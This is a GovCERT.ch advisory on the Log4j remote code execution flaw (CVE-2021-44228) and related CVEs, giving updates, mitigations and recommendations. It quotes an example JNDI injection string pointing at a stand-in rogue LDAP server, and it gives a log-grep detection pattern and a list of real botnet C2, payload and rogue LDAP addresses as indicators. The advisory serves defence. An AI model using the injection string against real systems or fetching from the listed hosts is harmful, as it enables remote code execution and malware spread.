Language selection

Zero-Day Exploit Targeting Popular Java Library Log4j

Published on December 12, 2021 19:20 +0100 by GovCERT.ch (permalink)
Last updated on December 18, 2021 09:40 +0100

UPDATE 2021-12-18:

log4j version 2.17.0 was just released due to a newly discovered DoS (Denial of Service) attack resulting in a StackOverflowError which terminates the process.

Mitigation:

  • Update to log4j version 2.17.0

or

  • In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC). [1]
  • Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input. [1]

[1] https://logging.apache.org/log4j/2.x/security.html

UPDATE 2021-12-17:

Please note that the second log4j vulnerability (CVE-2021-45046) just got a higher CVE value of 9.0 as there are some situation where the vulnerability might lead to a remote code execution (or local code execution).

Countermeasures such as removing JndiLookup completely (zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class) also apply to CVE-2021-45046 and version 2.16.0 fixes this vulnerability as well. Other countermeasures such as disabling lookups log4j2.formatMsgNoLookups) or setting trustURLCodebase to false do not completely mitigate the vulnerability as some attack vectors may remain open.

See also here: https://logging.apache.org/log4j/2.x/security.html

We once again urge you to apply the appropriate security updates as soon as possible - if not already done so.

UPDATE 2021-12-14:

We would like to update our report about log4j with a few important points that came to light recently:

  • Having com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase set to false does not fully mitigate the threat as it is possible to send the exploit code with the request 1.
  • Our Dutch colleagues of NCSC-NL maintain a Github repo containing a lot of valuable information 2.
  • You may want to block outgoing LDAP and RMI connections on the firewall. Please note that it is not sufficient to just block the default ports as the attacker may choose the port to run the Rogue LDAP server freely. Generally it is a good idea to restrict outgoing server traffic by whitelisting required traffic. If this is not possible, you can nevertheless monitor outgoing connections and use a NIDS like Suricata, Snort or Zeek alert you of such connections.
  • Microsoft reported that their security teams has seen Cobalt Strike beacons being dropped after log4j attacks 3.

On Friday morning, NCSC/GovCERT.ch received reports about a critical vulnerability in a popular Java library called “Log4j”. At the time of receiving these reports, the vulnerability apparently has been exploited by threat actors “in the wild” and no patch was available to fix the vulnerability (0-day exploit).

Log4j is a popular Java library developed and maintained by the Apache foundation. The library is widely adopted and used in many commercial and open-source software products as a logging framework for Java.

The vulnerability (CVE-2021-44228 4) is critical, as it can be exploited from remote by an unauthenticated adversary to executed arbitrary code (remote code execution – RCE). The criticality of the vulnerability has a score of 10 (out of 10) in the common vulnerability scoring system (CVSS) which outlines how severe the vulnerability is.

The vulnerability results from how log messages are being handled by the log4j processor. If an attacker sends a specially crafted message (it contains a string like ${jndi:ldap://rogueldapserver.com/a}), this may result in loading an external code class or message lookup and the execution of that code, leading to a situation that is known as Remote Code Execution (RCE).

The log4j JNDI attack

But the vulnerability is also kind of complex: While certain products may be vulnerable, it doesn’t necessary mean that the vulnerability can be successfully exploited as this depends on several pre- and postconditions such as the JVM being used, the actual configuration, etc. Any version of log4j between versions 2.0 and 2.14.1 are affected.

As soon as a patch got released on Friday afternoon, we published an advisory for national critical infrastructure (KRITIS) advising them to apply the corresponding patch as soon as possible. As many 3rd party vendors rely on Log4j in their products, they were working hard on releasing patches for their products as well. In the past 48h, many vendors have published security patches for their products. We urge organizations and national critical infrastructure to check their software landscape for the use of Log4j and apply the corresponding patches as soon as possible. If patching cannot be done, we recommend taking any mitigation measure possible in order to avoid further damage.

Over the weekend, we have been in permanent contact with national and international partners on the topic, reassessing the situation constantly. We were continuously collecting threat intelligence from OSINT, partners and our own sensors which allowed us to deploy appropriate mitigation measures, protecting vulnerable devices in Switzerland at large scale. On Saturday evening, we have begun notifying potentially affected organizations in Switzerland about vulnerable Log4j instances reachable from the internet. Such notifications were also sent to several national critical infrastructure (KRITIS).

While the vulnerability may be used in targeted attacks against national critical infrastructure, we have not received any reports in that regards yet. The exploitation attempts observed by us so far were used to deploy mass-malware like Mirai5, Kinsing6 and Tsunami7 (aka Muhstik). The primary use of these botnets is to launch DDoS attacks (Mirai, Tsunami) or to mine cryptocurrencies (Kinsing).

Recommendations

  • Get an overview of systems and software using log4j in your environment (this can be a time-consuming task, so better start early).
  • Apply the corresponding security patches for internet facing software / devices immediately
  • Apply the corresponding security patches for internal software / devices at your earliest convenience
  • If patching is not possible for whatever reason, we strongly recommend isolating the system from the Internet and/or to apply the following mitigation measures:
    • For version >=2.10: set log4j2.formatMsgNoLookups to true
    • For releases from 2.0 to 2.10.0: you may want to remove the LDAP class from log4j completely by issuing the following command: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    • For certain JVM Versions, it is possible to set com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false to mitigate the vulnerability. Some JVM versions already have this as default setting
  • You may check for exploitation attempts — no matter whether they were successful or not — in your web server logs using the following Linux/Unix command: sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log/
  • Check your network perimeter logs for the presence of the list of indicators of compromise (IOCs) mentioned below:
nazi.uy # Mirai botnet C2
log.exposedbotnets.ru # Tsunami botnet C2
194.59.165.21:8080 # Tsunami botnet C2
195.133.40.15:25565 # Mirai botnet C2
185.154.53.140:80 # Kinsing botnet C2
138.197.206.223:80 # Kinsing payload delivery server
18.228.7.109:80 # Kinsing payload delivery server
82.118.18.201:80 # Kinsing payload delivery server
92.242.40.21:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
80.71.158.12:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
45.137.155.55:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
45.137.155.55:80 # Kinsing payload delivery server
62.210.130.250:80 # Mirai payload delivery server
http://210.141.105.67/wp-content/themes/twentythirteen/m8 # Kinsing payload URL
http://159.89.182.117/wp-content/themes/twentyseventeen/ldm # Kinsing payload URL
45.130.229.168:1389 # Rogue LDAP server
82.118.18.201:1534 # Rogue LDAP server
45.130.229.168:1389 # Rogue LDAP server
185.250.148.157:1389 # Rogue LDAP server
92.242.40.21:5557 # Rogue LDAP server
205.185.115.217:47324 # Rogue LDAP server
163.172.157.143:1389 # Rogue LDAP server
45.155.205.233:12344 # Rogue LDAP server
  • If you use a Snort or Suricata based (or compatible) Network Based IDS, you may want to use rules to detect exploitation attempts89.
  • If you have systems that are vulnerable, check them very carefully for any sign of exploitation as the scanning is very intense and we believe that vulnerable systems got exploited quickly.
  • If you are using a WAF, deploy the log4j specific rules. These exist for many commercial solutions such as Cloud Armor10, Cloudflare WAF11, Signal Sciences WAF12.

  1. https://twitter.com/marcioalm/status/1470361495405875200 ↩︎

  2. https://github.com/NCSC-NL/log4shell ↩︎

  3. https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/ ↩︎

  4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228 ↩︎

  5. https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai ↩︎

  6. https://malpedia.caad.fkie.fraunhofer.de/details/elf.kinsing ↩︎

  7. https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami ↩︎

  8. https://twitter.com/ET_Labs/status/1469339963871354884 ↩︎

  9. https://rules.emergingthreatspro.com/open/ ↩︎

  10. https://cloud.google.com/blog/products/identity-security/cloud-armor-waf-rule-to-help-address-apache-log4j-vulnerability ↩︎

  11. https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/ ↩︎

  12. https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j ↩︎

Back to top